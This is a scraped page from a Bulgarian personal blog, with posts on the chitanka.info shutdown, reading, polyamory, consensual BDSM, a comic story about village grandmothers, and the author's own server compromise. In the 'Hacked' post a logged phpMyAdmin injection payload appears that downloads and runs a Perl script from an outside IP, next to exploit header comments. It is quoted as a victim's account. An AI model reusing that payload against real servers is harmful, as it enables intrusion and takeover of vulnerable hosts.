ANAVARO.COM
BDSMblogfungeek timeHowTomiskPCГостиличнина пътприказкисоциалнифилософия
  • May 2012
  • April 2012
  • March 2012
  • February 2012
  • January 2012
  • December 2011
  • November 2011
  • October 2011
  • September 2011
  • August 2011
  • July 2011
  • June 2011
  • ChangeLogSeriesИзвратеност for dummies

    Chitnaka.info … гаф от национална величина!

    Вече сте прочели за големите и лоши престъпници от chitnak.info,нали?

    Големите, лоши престъпници, позволявали на всички да четат … забележете – без да си плащат!

    Не тук няма да цитирам закона, в който е споменато, че те не са нарушили никакъв закон или право. Не исках и никога не съм искал да политизирам този блог, но в този случай не мога да се сдържа.

    При наличие на толкова проблеми в държавата, при наличие на толкова престъпници, които трябва да бъдат хванати, кого атакува Главна Дирекция за Борба с Организираната Престъпност? Да не би онези дето въртят контрабандни цигари по софийските пазари? Не! Да не са онези, които продават наркотици край училищата? НЕ! Да не са онези, които източват милиони от чужди сметки? НЕ!

    Великите ГДБОПаджии се захващат с chitnaka.info – втория най-любим сайт на майка ми след igrite.com или една от двете причини да се научи да работи с компютър.

    За трети път в този блог ще кажа, че тази държава се управлява от илитерат с ограничени мозъчни функции, който има мания за величие и обсебен с идеята да придобие повече власт.

    Господин Борисов, мили ми Бойко, за теб говоря (нека спестя сложния мозъчен процес на паленцата, които ти ровят в Internet). Знам, че говоря за министър председателя на България и че сигурно ще ми потропат едни хубави дебеловрати момченца на вратата (само да спомена, че машината може да се намира във Варна, но аз живея и работя в София), но просто не мога да се сдържа! Писна ми от популизъм.

    А сега по-въпроса. Защо затвориха chitnaka.info?

    Защото имаше повече материал от коя и да е областна библиотека и то нов материал, не книги излезли от печат преди 40 – 50 – 60 години. Били престъпници, защото не плащали авторско право. Съжалявам, но това не ги прави престъпници – нима българските библиотеки плащат авторско право (и да знам за цитираните в други блогове закони).

    И до къде стигна положението?

    Хора, които се грижат българите да имат от къде да четат безплатно, когато искат, биват обвинявани, че са престъпници. Хора, които най-интересното е, че работят pro bono (доброволно/за общото благо), биват вкарвани в затвора, защото се опитват да донесат малко познание и досег със световните класики на търсещите.

    Какво направиха медиите?

    Повториха стотици пъти прес съобщението на МВР, наричайки администраторите на chitanka.info престъпници, разбойници и какви ли не други гадости, а това са момчета и/или момичета, които са правили това което трябва да прави всеки от нас – помагали са за ограмотяването на българина. Не ги познавам, но ако се запозная с тях, ще им стисна ръцете и винаги ще съм готов да им помогна с каквито ресурси мога.

    Господин Борисов, от скромната трибуна на моето малко уютно местенце в Internet искам да ви отправя едно малко и сигурно несериозно за вас предизвикателство:

    Изберете си медия и уредете с нея едно 1 часово предаване в което аз и вие, ще излезем едно на едно, на дебат, по избрана от вас тема. Аз ще се явя не като представител на някоя политическа сила, дори не и като “представител на народа”. Не аз ще се изправя пред вас, като един средно интелигентен човек със собствено мнение и собствена позиция. Готов да ги защитава.

    Ваш,
    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , 3 коментара

    24 май ден на Българската …

    Днес е 24-ти май …

    Ден на българската писменост и култура …

    А аз днес сутринта, пътувайки за работа се замислих за това, че малко хора в днешни дни разбират какво значи празника.

    В Мисия Лондон има 1 реплика, която е много показателна за нас – Българите.

    “Едно нещо най-много мразя на този свят и това са БЪЛГАРИТЕ!”

    Показателно е за нас. Защото само българин може да го каже. Е спокойно скъпи сънародници – аз поне не ви мразя, но темата ми и е в родолюбска посока.

    Книги … образование … знание …

    Аз не съм един от най-умните (дори съм си изразено тъпичък на моменти) или най-грамотните, но едно от любимите ми действия е четенето …

    Кое? (чувам гласове от публиката)

    Четенето … нали знаете … взимате едни такива с буквички на тях и почвате да ги гледате и да разбирате какво значат буквичките …

    Четене …

    Много от хората ще кажат, при това с гордост, “Аз не чета!”.

    А аз ще им отговоря – “О! Горките!”

    Забелязвам как хората край мен стават все по-глупави или ограничени и то прогресивно. Хлапетата гледат филми и родителите ги насърчават. Все още е останал старото разбиране, че интелигента е някакъв там неприятен субект дето все много му знае устата или пъпчивото, цайсато лапе, дето е син на някого си. Да си силен е престижно, да си богат също, но знаете ли кое ми доставя най-голямо удоволствие – да накарам този силен богаташ да изглежда смешен пред мен – дебеланкото с книгата. Да го карам да се блещи докато се занимавам с прости за мен неща …

    За съжаление живеем в общество в което илитератите печелят много повече и са на по-голяма почит от хората за които добро прекарване е хубавата книга. По дяволите, министър председателя ни е ментално ограничен индивид, с неутолимо желание за власт.

    За мое съжаление, хората от които зависи това да се промени не са хората които имат желание да го направят …

    Помня на времето отношението на връстниците ми, когато предпочитах поредната книга пред следобед прекаран в игра на футбол, но повярвайте ми помня и това, че всеки един от тях в един или друг момент ми се примолваше да му помогна с нещо.

    Лошото на днешното време е, че малцина разбират, че бъдещето се гради бавно, трудно и с много жертви … мнозина от интелигентните избягаха. И на мен са ми предлагали, но ако са ме научили нещо книгите, това е че ако искам да постигна нещо трябва да се боря за него. И смятам да се боря  …

    За какво?

    За това да вървим, като народ, към светли бъднини да вървим. С книижовността, таз сила нова, към светли бъднини да вървим. Защото, мили деца, без знанието което придобиваме, не ставаме за нищо и ще продължим да “мразим българите”.

    А стъпките са лесни – започваме с

    АЗ

    БУКИ

    ВЕДИ

    ГЛАГОЛИ …

    А сега смятам да се отдам на четене на книга …

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , 6 коментара

    … in the end

    В поста си 3,2,1 … END Събина ни приканва да кажем какво ще направим, ако знаем че ни остават няколко месеца живот …

    Аз винаги съм знаел какво ще направя, ако знам че ще умра скоро.

    Много е просто – ще се видя със всички които са ми близки и ще посветя всичките си усилия да ги накарам да ме мразят, ще отделя на това толкова време колкото е необходимо, за да знам, че на погребението ми никой няма да тъгува за мен.

    Когато съм сигурен, че никой няма да му е тъжно за “гадnото, долно копеле, което се правеше на мой приятел/роднина/любим” ще седна и ще завърша поне едно от нещата с които съм се захванал, не зависимо, дали ще е да оправя най-накрая f-bg.org или да напиша някое от нещата които съм започнал да пиша.

    Ако след това все още имам време … тогава ще се отдам на безпаметен разврат. Ще опитам от всичко! Ще се справя с всяко предзвикателство, ще се отдам на всяко изкушение и ще му се насладя до последно …

    И когато най-накрая си отида, ще си отида сам, но ще знам, че никой няма да тъжи за мен, защото всички които са ми близки ще съм ги отчуждил.

    Аз съм проста личност и имам прости желания за преди края си. Но винаги съм казвал, че няма да съжалявам за гршните избори, а за не направените …

    А щафетата искам да предма на Ивона.

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , 3 коментара

    Изневери и IQ …

    Ровейки днес из svejo попаднах на малката интересна статийка наречена “Само глупавите изневеряват” в която развиват тезата, че само глупавите мъже изневеряват …

    Винаги съм си знаел, че съм глупак … ама цяла статия да напишат само за да ми го кажат …

    След като прочетох статията обаче се замислих и ми се струва, че имат леко недоглеждане …

    Проблема ми с “изневерите” винаги е бил в това, че всъщност не вярвам в тях (леле, колко пъти съм се опитвал да го обясня). Няма как да изневериш правейки секс с някой друг, освен постоянния си партньор, защото секса не е изневяра. Секса не е насочен към продължаване на рода, а по-скоро към тръпката.

    Там е проблема с тази статия – според тях умните изневерявали по-малко … добре … но може би и за тях както и за мен няма такова животно, като изневяра.

    Аз в никакъв случай не съм глупав, но и в никакъв случай не мога да се нарека моногамен (което ми струва и последната връзка). Проблема при мен не е, че не ми стига секса (по дяволите, понякога ми се налагаше да казвам, че ще почивам), не е и че не бях привлечен от партньорката си (тя има почти толкова извратена фантазия колкото и аз). Това което виждам като “‘проблем”, ако мога да го нарека така е желанието да имам разнообразие …

    Да. Знам. Това само по себе си показва, че не съм от най-умните, но нека се опитам да обясня.

    За мен всъщност, както казах, няма изневяра. Както и не изпитвам ревност. За мен това са чужди понятия, не защото обезценявам партньорките си, а напротив – защото тяхната свобода и удоволствие за мен са много по важни от “желанието” да са само мои … и както аз не поставям ограничения, така и не желая мен да ограничават … просто нали?

    Това не ме прави по-глупав или по-умен. Прави ме просто някой, който признава правото и свободата на другите. Не мисля, че IQ-то има нещо общо с това …

    А колкото до разнообразието – просто е. Не всеки ден можеш да ядеш патица с кестени! Просто понякога ти идва от вътре да си потърсиш нещо друго. Не по-добро и не по-лошо, а просто различно …

    Има хора, които не биха погледнали чуждо. Радвам се за тях, щом това ги прави щастливи. Аз не съм от тях. Може би, някога, някоя девойка ще струва за мен повече от желанието ми да получа разнообразие, но до тогава … смятам да пробвам колкото мога повече от ястията които се предлагат.

    Ваш,

    Lucifer

    Сам

    лупавите изневеряват

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , , , , 7 коментара

    За боя, секса и насилието …

    Днес попаднах на статията “Бие? Значи обича!” в Новинар (Енкодинга на страницата е сбъркан).

    Интересна е самата статия и ме накара да се замисля.

    Защо ли ми се струва обаче, че авторката е пристрастна?

    Много от вас (тези които ме четат) знаят, че насилието по време на секс или като предварителна игра си е напълно нормално, но това не се дължи на лошото ми семейство. Аз съм първия, който ще каже, че е имал щастието да има хубаво семейство. Избора да проявявам насилие си е мой и повярвайте ми не се дължи на липсата на възпитание или слаби морални ценности.

    Искам да разгледам въпроса от страната на простака-насилник – моя милост.

    Авторката на статията се опитва да докаже, че разголената женска плът ни “укасява” мозъка и се превръщаме в животни, за това имало такива случаи на побои, като този над манекенката. Съжалявам госпожо, но не съм съгласен. Това, че гаджето и (футболиста) е ограничен идиот, не значи че всички сме така. Аз си признавам, че съм насилник. Обичам да правя груб секс и буквално да изнасилвам партньорките си, но това го правя само в духа на основни принцип на BDSM – SSC (Safe, Sane, Consensual(Сигурно, с Умисъл, по Взаимно съгласие)).

    Това не значи, че оправдавам насилието. Не. Колкото и да е странно аз уважавам жените! Харесвам ги като хора повече от колкото харесвам мъжете (говоря за не сексуално харесване) и за това повечето ми приятели с жени.

    Наистина не оправдавам и не одобрявам насилието, в грубиянския смисъл. Не желаното и най-често ненужно насилие.

    Не разбирам избиването на комплекси, чрез смачкването от бой на някого. Не разбирам удоволствието, доказването или каквото и там да получават идиотите, които бият жени.

    Някак си ми се струва много страхливо да хванеш жена си и да я смачкаш от бой, само защото деня ти е бил крив и ти си до толкова ограничен, че не знаеш как и не можеш да се контролираш.

    Да избиеш комплексите си с юмруци срещу по-слабия е лесно.

    Да изпаднеш в сивото съществуване на безмозъчния насилник, също е лесно.

    Нека обърна внимание и на дамите, за да не се чувстват пренебрегнати:

    Не мога да кажа, че си го търсят. Не, те просто са попаднали на идиоти, които не знаят как да се контролират и подтискат това в себе си. Но не разбирам и тези жени които се продават …

    Това което имам предвид е, че не разбирам тъпите кифли, които наконтени се влачат след някакви псевдо богаташи, които могат единствено да парадират с парите на мама и тати. Нямам против, тези достатъчно умни да хванат златната кокошка, имам предвид тъпите патки, които са играчки в ръцете на разглезени момченца и ги “обичат” само заради “Готиното якенце, дето ми го взе от Витошка”.

    Никога не съм си търсил украшение. Никога не съм харесвал такива. Винаги съм харесвал силните жени … по-интересно е да ги пречупиш …

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , , 4 коментара

    Мисли и вероятности …

    Понякога се сблъсквам с реалността с такава сила, че оставам без дъх.

    Понякога плановете ни се изпълняват до един момент буква по буква … само за да избухнат в лицето ни като мина в следващия …

    Има моменти, като този, когато се губя в хилядите пътища, които се отварят пред мен. Когато се губя в лабиринта от вероятности, които чакат мен за да ги превърна в реалности …

    Има моменти, като този, когато не мисля, че ще имам сили да избера правилното разклонение, но знам, че не съм от хората които биха поели по лесното …

    Един малък факт, разбърква всички вероятности, които виждах до сега и ме оставя сляп за нещата които са, които са били и които може да бъдат …

    И отново пътя пред мен се губи, криволичи и изчезва … мами ме да го последвам и да се изправя пред изборите и разклоненията, които предлага и да правя своите … не верните и не грешните, а своите избори … да следвам своите пътеки и отново да бродя след своите сенки. Може би този път ще ме отведе към вечното щастие (все още вярвам в него) или към вечното падение, но няма значение, защото вече съм го поел и ще го следвам. И ще правя своите избори, правилни или грешни … Веднага след като успея да се съвзема и след като разбера дали Вероятността отново ми е набила 21 инчовия страп-он на сухо или е подготвила нещата за да получа каквото искам.

    Само времето ще покаже … а аз имам време – всичкото време на този свят. Времето от сега, до края на моите дни.


    Знам, че пак ви е несвързано, но трябва да сте свикнали на моите избухвания …

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , , 4 коментара

    Луди, луди баби …

    Ето го моето включване в BLOG CHALLENGE на БЛОГАТСТВО.


    - Ганоооо! – провикна се баба Дана през портичката – Дека си маааа??

    - Ида ма, Дано. За къде си се разбързала, па ти? Не са е мръкнало още  …

    - А! Остаи са … да са махна от нас, че оня моя кукумицин ще ме побърка! – възрастната жена се настани на пейката до портичката.

    Гана се подаде през скърцащата порта.

    - Да ти направя ли и на тебе едно кийве? Че правя за мене и Дора.

    - Може … – замисли се Дана. – Ма не ви ли е късно, ма?

    - Е па аз инка ще правя, ма. Иначе цяла вечер не мога да спя … Унука беше сутринта тука и донесе, че Миро от магазина няма.

    - А па и за мене тогава … Тя Дора дека е?

    - Обади се преди малко, че идва …

    Трите жени имаха обичай да се събират всяка вечер по мръкнало. Обичай който спазваха през последните 20 години през които живееха на село. След малко Гана се появи с табла на която димяха 3 чаши и чанта на рамо.

    - Бог да те поживи. – измърмори Дана взимайки едната чаша и слагайки си 2 лъжички  захар от захарницата в средата на таблата. – Ето я и Дора. Къде се губиш, ма?

    - Остави се … – започна Дора сядайки до приятелката си. – Реших да нахраня кравите и тъкмо съм ги почнала по ред и лисицата са затвори!

    - А? Е как ша са затвори, ма?

    - Ми ей така! Затвори са лисицата и като реших да я отворя и мойта пущина и излезе един син екран с бели букви … нещо за някакъв ВиДийеФ.

    - И какво? – попита Гана, сваляйки чантата от рамото си и вадейки лаптопа.

    - Е па, звъннах на унуката по ЖиСиеМа, да го питам какво това и той каза да съм рестартирала пущината и да съм пробвала пак … Ма пущината не ще да се пуска …

    - Под Сафе моде пробва ли ма? – попита Дана.

    - Пробвах! Седи на НеТеФеСе.СИйС и нище … унука обеща да дойде Неделята да ми го оправи.

    - Казах ти аз … – започна Гана. – … да оставиш наш Петърчо да ти сложи един от ония с Пингвинитье … Ти не!

    - Колко време ми трябваше да науча Уиндоуса, сега да сядам да уча Линукс … ти луда ли си …

    - Е па за колко няма да е? – каза Гана докато пишеше паролата си. – Е я мойта пущина. От кога ми го е дал Петърчо – нямам проблем.

    Докато ги слушаше, баба Дана беше придърпала ганината “пущина” и се беше заела да си чете блогролл-а. Двете дъртофелници всяка вечер спореха … ма то от вътре си има идваше – на едната внуката работеше за Майкрософт, а на другата поддържаше някакви сървъри.

    - Гано, ма … – подвикна Дана. – Чете ли си днеска блогролл-а?

    - Не съм, още. Смятах да чета първо туитеря … че от оная вечер не съм го чела … – Гана сръбна от кафето. – Има ли нящо интиресно?

    - Чаки да видя … че се зачетох … Брей туй дняшната младеж … – измърмори бабата докато минаваше през поредната статия на Циничния Елф – Абе, аз все щях да ви питам … какво това елф? Що за животно е?

    Гана и Дора са спогледаха …

    - Уф, че си ма Дано! – Дора се усмихна. – Елфа не е животно … Елфа е такова … от приказките … Помниш ли го онзи филм дето моя унук ми го донесе … Властилина на пръстите ли беше …

    - На пръстените … – обади се Гана.

    - Да де … на пръстените … Е те там онзи хубавци с големите лъкове … Е те това са елфи …

    - Аааа… от филмите … – Дана продължи да си чете …

    - Гано ма, я да та питам, аз. Имаш ли проблеми с Интерньета, ма?

    - Какви проблеми ма?

    - Бе у назе нещо прекъсва. Както има, има … и като падне отиде половин час …

    - Опита ли да рестартираш?

    - Куье, ма? И модема пробвах, и пущината пробвах …  Неще.

    - Дано, ма, не го ли изчете тоз блогролл, ма? У вас нали си имаш камютър? Що тука го четеш?

    - Бе имам … Ставри заседнал от оня ден да чете някаква книга на него … не мога да го мръдна. Ни у Файсебука мога да вляза, че внучката качила нови снимки на малкия, на баба сладура …

    - А па, книга! Ади, знаем го ний наш Ставри – пак у някой мръснишки сайт гледа … пак ще трябва да ви оправят компютъра …

    - Тихо, ма. – сопна се Дана. – Да гледа. Само да не ма закача … че сърцето му не е като ено време …

    Трите старици се разсмяха и разговорите им тръгнаха в други посоки – на коя внука и какво правел, на коя правнуците и какво правели … Както всяка вечер от 20 години на сам, никоя не разбра (или не си призна) коя изкара бутилката с ракия …

    40 минути по-късно 3 луди, луди баби, седяха на тъмната пейка и гледаха телевизия on-line, спомняха си на висок глас за малдостта, когато “немаше такива пущини, като компютеро” и всичко беше къде, къде по-просто …


    ***

    Ако са ви харесали моите баби – гласувайте за мен в Свежо или с коментар.


    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , , 13 коментара

    Hacked …

    Искам да се оплача … от собствената си глупост … и то много да се оплача …

    То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!

    Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.

    След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:

    ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
    3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0

    А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …

    Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:

    88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181

    Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:

    # PoC script successfully tested on the following targets:
    # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
    # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
    # attack requirements:
    # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
    # and 3.x before 3.1.3.1 according to PMASA-2009-3
    # 2) it *seems* this vuln can only be exploited against environments
    # where the administrator has chosen to install phpMyAdmin following
    # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
    # 3) administrator must have NOT deleted the ‘/config/’ directory
    # within the ‘/phpMyAdmin/’ directory. this is because this directory is
    # where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
    # our evil PHP code is injected 8)

    Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …

    Отново и отново ./std $IP $PORT процеса ме убиваше …

    Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.

    ps aux | grep apache

    ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …

    crontab -u apache -e

    ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …

    Знам, че съм пълен идиот … ама аз съм си такъв …

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , , , , , , , 1 коментар

    За какви се мислите вие …

    Седя си аз и си ровя из Twitter, когато изведнъж Събина от ентелегентно вкарва лудата оферта да ги оплюя. Аз само това и чакам!

    Какви сте вие бе?

    ентелегентно?

    Това ващо блог ли е или бардак? Идват някакви, пишат за някакви неща.

    Всеки се прави на много разбиращ. Един ми пиши за момиченца и пишки, друга седнала да пише за сладки …

    Какво сладко, какви 5 лева? Вишни/смокини и захър … вие ще ми докарате някои диабет.

    Абе какви сте вие и за какви се мислите? Седнали да ми изливат графоманските си диарии на е-хартия …

    А да ви …

    Седя си сутрин и си разглеждам четеца на чичо Гого и виждам нова статия в енеентелегентно, отварям … и лъсва готина мадама полу гола … Айде кажете как да ги обясня на шефа? То си е #NSFW, направо ПФУ! И това ми е рано сутрин.

    И сте ми едни такива белички … белички … вземете се позачервте бе деца! Малко цвят вкарайте … само тук таме някоя червена думичка да ми извади очите! Тея червените думички не ги схващам … ако искате да наблегенте на нещо – кажете си го, не очаквайте от читателите да трябва да се чудят от къде сте си изкопали и за какво сте я изтипослаи, като л…о на пътека в средата на текста!

    То верно сте си блог за bullshit … ма бива ли да къкате всеки пост с shit-овете на bull-а?

    За музика ми писали … за готвене … култура … абеее де ги у вас тея ве? И от къде ги вадите тея знаийни и незнайни автори, да трупат само кофи глупости по този ваш бардак дето наричате блог …

    Ваш,

    Lucifer

    P.S.: Не ми се връзвайте мили деца, всъщност нямам критики към вас. Много си ми харесвате, но мога ли да се стърпя да не изграфоманча и аз?

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , , , , , 14 коментара

    100

    100

    Да! Правилно сте разбрали, моето малко местенце в мрежата навъртя 100 поста … по-скоро 99 + този.

    В началото блога си старирах от скука (прочетете първия пост). Бях го публикувал в blogspot.com, като thoughtsofidiot.blogspot.com. Да – Мислите на един идиот. И си стоя там бая време.

    Първият пост е от Март 2007 година … което прави точно 2 години и седем месеца! Я какво съвпадение! Сега се замислих! Преди точно 31 месеца публикувах първия си пост в “Мислите на един идиот” и започнах да публикувам части от себе си тук. Това прави по малко над 3 поста на месец, като както са заблязали тези които ме четат, всички са написани от мен.

    Преди известно време преместих “Мислите … ” на сегашното им място. Станаха част от Анаваро. Или Lucifer’s sandbox. Май никога до сега не съм обяснявал от къде идва името на домейна, нали? И защо тук е “пясъчника” ми, нали?

    Някои от вас са чели разказа, който публикувах в раздел “Приказки” – Алара в Лабиринта, нали? Този разказ е ситуиран в една “вселена”, която създадох за да имат почва героите ми.

    Идеята на домейна е да бъде моята игрална площадка. да мога да творя, да мисля, да изобретявам и всичко това да си е мое.

    Но този пост е за блога.

    По някаква необяснима за мен причина, вече си имам редовна аудотиря … не голяма, но не и малка … едно 15-20 човека всеки ден проверяват какви съм ги забъркал. Винаги съм писал най-вече за себе си, но друго си казва да си видиш статистиките и да видиш, че някой те чете.

    В стотния си пост искам да благодаря на няколко групи хора. Ще се въздържа да са поименно, защото списъка ще е много голям.

    - на тези които участват в написаното – всяка случка, всяка история, дори приказките,  са написани за и от някого. Моите музи и вдъхновения, хората които ми дават темите за които да пиша!

    - тези които ме критикуват – имам си групичка редактори, които са безмислостни към тъпотиите ми, има едно там дето настоя да се върна към писането за себе си, на което специално искам да благодаря.

    - на тези които ме четат – всички онези които регулярно наминават да видя какви съм ги надробил и се забавляват смоите глупости.

    Имам и въпрос към всички вас – абе хора, защо никой не си изказва мнението? За 100 поста имам 40 коментара … толкова ли само ме четете … е драснете някакъв feedback де …

    Благодаря ви!

    Надвам се да има кой да ме чете още дълго …

    Ваш,

    Lucifer

    VN:F [1.9.17_1161]
    Rating: 0.0/5 (0 votes cast)
    Под тагове: , , 1 коментар